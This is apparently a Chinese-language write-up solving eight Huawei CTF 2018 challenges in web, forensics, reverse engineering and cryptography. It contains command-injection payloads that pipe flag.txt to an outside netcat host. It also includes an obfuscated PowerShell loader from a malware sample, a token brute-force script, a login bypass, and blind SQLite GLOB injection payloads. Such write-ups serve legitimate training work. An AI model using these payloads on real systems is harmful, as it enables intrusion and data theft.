导语:本文将简要介绍在华为CTF 2018中面临的一些挑战。
挑战1 – 废弃的筒仓
类别:Web
这个挑战题目的页面向我们展示了一个表单,在输入框可以指定参数来ping我们输入的ip。页面提供了一个线索,告知我们flag在文件flag.txt中。
我们尝试注入使用netcat建立反向连接的命令,127.0.0.1;nc reverse.sistec.es 8080。
我们验证了反向连接已经成功建立,我们可以通过这个反向的shell来读取保存flag的flag.txt文件。
127.0.0.1;cat flag.txt|nc reverse.sistec.es 8080
我们成功读取到了服务器上的flag。
挑战2 – PARANORMALGLITCH
类别:电子取证
这道题目是在JPG图像中找到flag。为方便起见,我们将使用gatos.jpg作为要分析的文件的名称。
该文件的大小是670081 字节,
file gatos.jpg gatos.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1024, frames 3
我们可以使用一些签名搜索工具,例如binwalk,photorec和或者是foremost。
使用foremost工具,我们得到了相同的JPG图像,但大小为196951 字节。我们怀疑在JPG图像之后还隐藏着另一个文件或重要数据。
我们从偏移量196951中提取数据
dd if=gatos.jpg of=part2 bs=1 skip=196951
我们分析这个新的文件part2。很快,我们就看到有IHDR和IDAT字符串的存在,所以,看起来我们找到的这个文件应该是一个PNG图片。
xxd part2 |head 00000000: 0d0a 1a0a 0000 000d 4948 4452 0000 0400 ........IHDR.... 00000010: 0000 0288 0806 0000 00ee 2e88 0c00 0000 ................ 00000020: 0662 4b47 4400 ff00 ff00 ffa0 bda7 9300 .bKGD........... 00000030: 0020 0049 4441 5478 daec dde9 93a4 5776 . .IDATx......Wv 00000040: dff7 efbd f759 72ab acbd 7a43 3730 0007 .....Yr...zC70.. 00000050: 98c1 7048 0ec5 4594 4c29 4221 4b61 5bf2 ..pH..E.L)B!Ka[. 00000060: a208 ff3d e2df e1b0 432f 1cb2 23ec b06c ...=....C/..#..l 00000070: 5914 456d 2629 919c 2139 43ce 7008 6200 Y.Em&)..!9C.p.b. 00000080: 34d0 68f4 5a5d 5d6b aecf 72ef f58b 2733 4.h.Z]]k..r...'3 00000090: 2bbb d0d5 682c 33e8 46ff 3e98 8cca caaa +...h,3.F.>.....
我们将此文件的开头与另一个PNG文件或维基百科中显示的示例图片进行比较。
我们看到这个文件丢失了PNG文件头的前4个字节(因此数据恢复程序没有识别出这是个PNG图片文件)。我们用xxd和cat把文件头的前四个字节添加进去。
echo 89504e47 | xxd -ps -r > pngheader cat pngheader part2 > image.png
这个图片文件不是100%的正确,并且不是所有的看图软件都能正常打开,即使是这种情况,我们也可以使用GIMP正常打开查看图片并获得flag。
挑战3 – 后门分析1
类别:电子取证
接下来的题目是分析一个操作系统是Ubuntu 16.04的受感染的虚拟机。
我们使用用户ctf访问服务器,然后使用su命令切换到服务器的管理员用户来进行更彻底的分析。
一开始我们收到一条错误的消息,这条错误信息告诉我们有一些东西被感染了。
在.bashrc文件的末尾我们看到有一个可执行文件,隐藏的是方式是尝试使用多次换行。
/bin/sh311.x
我们分析这个二进制文件并使用ltrace观察如何生成flag的字符串。
挑战4 – 后门分析2
类别:电子取证
第二个后门是我在使用ps查看了正在运行的进程后找到的。
我们分析二进制文件/usr/sbin/psl并使用strings获取到base64编码过的字符串。
Watch this: dV9SVAETWkATdX9ydEgDCwQAVQZSCgsFClBVVgJSBQNQVwACAlcDV1cAB1IBCk45Cg==
使用Auto Solver里的PatataUtils工具类,我们解码了 base64的内容并获得了flag。
在复杂的编码方式中,必须使用XOR 0x33对文本进行解密/解码。
PS:受感染的二进制文件是 /bin/ls
挑战5 – 网络犯罪分析
类别:电子取证
在此挑战中,我们被要求分析恶意软件do_not_remove.bat然后找到flag。
在第一次分析中,我们发现它是一个powershell脚本,它执行了Base64中编码过的代码。
Invoke-Expression $(New-Object IO.StreamReader ( $(New-Object IO.Compression.DeflateStream ( $(New-Object IO.MemoryStream (, $([Convert]::FromBase64String("...")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
我们解码base64中的文本得到了一个二进制文件,如果我们查看代码,我们接下来回看到程序是如何使用CompressionDeflateStream函数的。
base64 -d b64.txt > bin printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - bin |gzip -dc > code
此代码中最可疑的部分是在User-Agent中发送的十六进制字符串。在尝试对其进行解码之后,我们可以发现,从1f 8b 08 00字节开始是另一个gzip文件 。
echo 1f8b08004b17425b0003f32f4ab70acd4d2a4acdc949b456f0c82f2eb10a700cb756082d4e2db24ac9cf4dcccc4b4cc9cdccb35670cb494cb772f37174af4e4e4a4b3233374b4d4c363632304f364849324d31324f33b54c35354e333432ab05006811b54b55000000 |xxd -ps -r |gzip -dc Org:Umbrella; Host:PAW; User:domainadmin; Flag:FLAG{cbfb676eac3207c0db5d27f59e53f126}
挑战6 – ARMOURED KITTEN
类别:逆向
这个题目是逆向一个ARM64的二进制文件获得flag。
file re1 re1: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, for GNU/Linux 3.7.0, BuildID[sha1]=48e70b04d5fdfcaccb8442dda6fec030f0f6b822, stripped
我们首先遇到的第一个困难是我们无法在x64架构的机器上原生的执行这个二进制文件。我们可以安装qemu来执行并调试这个程序。
当我们执行二进制文件时,程序会等待我们输入一些文本并检查输入的内容是否正确。
qemu-aarch64 ./re1 wat do u want? patatas oh noes! you no haz flag!
使用反汇编程序(r2,gdb,IDA)分析二进制文件时,我们看到输入正确的内容时程序输出的文本是
yes, u got it! submit!
我们使用IDA X-Rays来反编译代码并进一步理解二进制文件的操作。
我们看到一系列循环操作,其中验证我们输入的字符是否正确的逻辑符合一系列线性方程。这个挑战与baby-re非常相似,我在2016年在DEFCON的CTFC的分类中解决过这个问题。
这个挑战可以通过工具angr快速解决,或者用更费力的方式,例如提取方程并用数学软件来解决。
在这种情况下,在用angr测试后没有获得我们想要的结果,因此我们转向PlanB并以尽可能最快和最自动化的方式提取所有的方程。
调试我们使用的程序:
qemu-aarch64 -g 3000 ./re1
使用针对ARM平台的p3da插件peda-arm执行gdb-multiarch
在启动GDB之后我们使用target remote localhost:3000
在这个过程中,我们获得了完成方程的值的存储器地址,第一个是0x48d010,程序从这个地址的内存中提取flag的每个字符的系数。第二个是0x520A90,程序从这个地址的内存中提取等式必须满足的值。
这些值不在单个存储器地址中,但是对于循环中的每次迭代,这些值是从不同的存储器地址获得的。
使用radare2的iS 命令,我们获得了下面这些文件“节”所在文件的偏移量:
> iS [Sections] 00 0x00000000 0 0x00000000 0 ---- 01 0x00000190 32 0x00400190 32 -r-- .note.ABI_tag ... 23 0x0007d000 641688 0x0048d000 641688 -rw- .data 24 0x00119a98 0 0x00529a98 5952 -rw- .bss 25 0x00119a98 0 0x0052b1d8 48 -rw- libc_freeres_ptrs ...
因此,我们得到了0x7D010和0x110A90。
我们用dd剪切二进制文件并提取这些部分:
dd if=re1 of=bin1 bs=1 skip=512016 dd if=re1 of=bin2 bs=1 skip=1116816
对于20个未知数,在最好的情况下我们只需要20个方程,没有必要提取程序评估的数千个方程,因此,我们只提取前120个。
import struct bin1 = open('bin1','rb') data1 = bin1.read() bin2 = open('bin2','rb') data2 = bin2.read() var = 'ABCDEFGHIJKLMNOPQRST' var_maxima = 'A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T' final_equation = '' for k in range(0,3): for l in range(0,5): for m in range(0,2): for n in range(0,4): equation = '' xx = 0 for ii in range(0,20): i = ii + 20*n + 80*m + 160*l + 800*k x = struct.unpack('<L', data1[4*i:4*i+4])[0] if x!=0: equation += '(%s*%s)' % (var[ii], x) if(ii<19): equation += "+" j = n + 4*m + 8*l + 40*k y = struct.unpack('<L', data2[4*j:4*j+4])[0] final_equation += '%s=%d,' % (equation,y) final_equation = final_equation[:-1] print('linsolve([%s],[%s]);' % (final_equation,var_maxima))
我们执行脚本并获得了方程式,我们将这些方程式传递给wxmaxima来解方程式。
python re1.py |maxima Maxima 5.42.1 http://maxima.sourceforge.net using Lisp GNU Common Lisp (GCL) GCL 2.6.12 Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. The function bug_report() provides bug reporting information. (%i1) solve: dependent equations eliminated: (24 23 22 21) (%o1) [A = 109, B = 101, C = 32, D = 99, E = 97, F = 110, G = 32, H = 104, I = 97, J = 122, K = 32, L = 117, M = 114, N = 32, O = 102, P = 108, Q = 97, R = 103, S = 122, T = 63]
我们获取到了Flag的十进制格式,我们将其转换为ascii来获取flag的文本。
me can haz ur flagz?
挑战7 – CRYPTOKENITA
类别:密码学
在此挑战中,我们提供了nodeJS应用程序的源代码。目标是找到一个正确的令牌来获得flag。
总之,我们需要生成一个8字节的令牌,并且以base64编码格式发送。
以下是该应用程序中最重要最关键的代码部分。
function tokenGen() { return crypto.randomBytes(8).toString(); } app.post('/guess', function (req, res, next) { var token = req.body.token; // No hack if(!_.isString(token) || !_.isBuffer(Buffer.from(token, 'base64')) || !_.isString(Buffer.from(token, 'base64').toString('utf8'))) { res.render('hacker', {title: title}); return; } token = Buffer.from(token, 'base64').toString('utf8'); if(req.session && req.session.token && req.session.token === token) { res.render('flag', {title: title, flag: config.flag}); return; } res.render('no_flag', {title: title}); });
如果我们详细分析代码,我们将观察到在toString函数中它使用了UTF8编码。此编码是多字节的,2个字节用于表示字符0x80到0xff,因此使用字面上的0x80到0xff会返回编码错误。
知道了这一点,我们就只需要用0xffffffff这个值进行多次无效尝试,直到我们得到flag。
import urllib.parse import requests user_agent = 'Mozilla/5.0' for i in range(10000): headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'} url = 'http://54.36.134.37:32009' r = requests.get(url, headers=headers) data = r.text print(urllib.parse.unquote(r.cookies['connect.sid'])) url2 = 'http://54.36.134.37:32009/guess' headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive','Content-Type':'application/x-www-form-urlencoded'} headers['Cookie'] = 'connect.sid=' + r.cookies['connect.sid'] r2 = requests.post(url2, data='token=//////////8', headers=headers) data2 = r2.text print(data2) if 'No flag' not in data2: break
挑战8 – LOGINDENOID
类别:Web
这个挑战有两个部分。首先,我们需要在登录页面以任何方式进行身份验证。跳转到后台页面后,你将不得不利用SQL注入来提取管理员凭据然后获取flag。
登录绕过
登录请求有3个参数:
· username
· password
· loginMethod
在用户名或密码中未找到任何注入后,我们尝试修改loginMethod。
如果我们将loginMethod参数修改为其他字符串,我们会得到以下错误,表明此方法或函数不存在。
user[loginMethod] is not a function
使用一些词典进行模糊测试后,我们发现使用构造函数这个字符串获得了不同的响应。
Class constructor User cannot be invoked without 'new'
最后,我们__defineGetter__设法进行登录绕过。
SQL注入
登录到后台,我们就可以选择查看新闻。
/news/item?id=1
通过简单的单引号注入,我们发现返回错误Database error,因此可能存在SQL注入。
第一步是尝试一个布尔注入,在测试了SQL的一些字符或payload后,我们意识到这个应用程序有阻止SQL注入攻击的规则,返回了错误Blacklisted。
其中一个被阻止的字符是空格,因此我们应该在不使用它们的情况下构建SQL注入查询语句,比如尽可能使用括号。
/news/item?id=2'and'1 (BOOLEAN TRUE, devuelve la noticia 2) /news/item?id=2'and'0 (BOOLEAN FALSE, devuelve 'Noticia no encontrada')
基于此布尔注入,我们必须构造更复杂的查询语句才能从数据库中获取信息,首先,我们需要确定服务器使用的是哪种类型的数据库。
这里最重要的方法之一是尝试使用MID函数(SUBSTRING的别名),不过服务器返回了错误,这表明所服务器使用的数据库引擎不支持这个函数。
经过长时间的调查后,确定数据库可以是SQLite。那我们就有使用GLOB功能的可能性了。
GLOB函数可以与通配符'*'或'?'一起使用。在这种情况下,不允许使用星号,因此我们可以使用询问字符'?'。
这个通配符等同于一个字符,因此要发现字段的大小,我们必须使用不同的长度进行暴力破解。
注入语句采用以下形式,替换TABLE,COLUMN和'?'的数量。
'and(SELECT(1)from(TABLA)WHERE(glob('????',COLUMNA)))and'1
一旦我们知道了要提取的字段的大小,我们就一个字符一个字符的进行猜解,假设某些字符或单词被禁止,我们在找不到匹配的情况下可以使用其他方法。
提取表名:TABLE ='sqlite_master'COLUMN ='tbl_name'
· news
· users
· admins
· sqlite_sequence
admins表的列:
'and(SELECT(1)from(sqlite_master)WHERE(glob('admins',tbl_name)and(glob('????',sql))))and'1 CREAT??TABLE?admins?ID?INTEGE??PRIMARY?KEY?AUTOINCREMENT??u53rn4m333?TEX??NO??NUL??UNIQUE??p455w0rddd?TEX??NO??NUL??
· u53rn4m333
· p455w0rddd
我们最终从admins表中提取了用户名和密码
查看密码字符串的长度,我们可以假设它是一个SHA256哈希字符串,我们使用hashcat来进行破解。
获得管理员用户名和密码后,我们通过修改loginMethod的值为loginAdmin进行登录。
登录成功后,我们就得到了flag。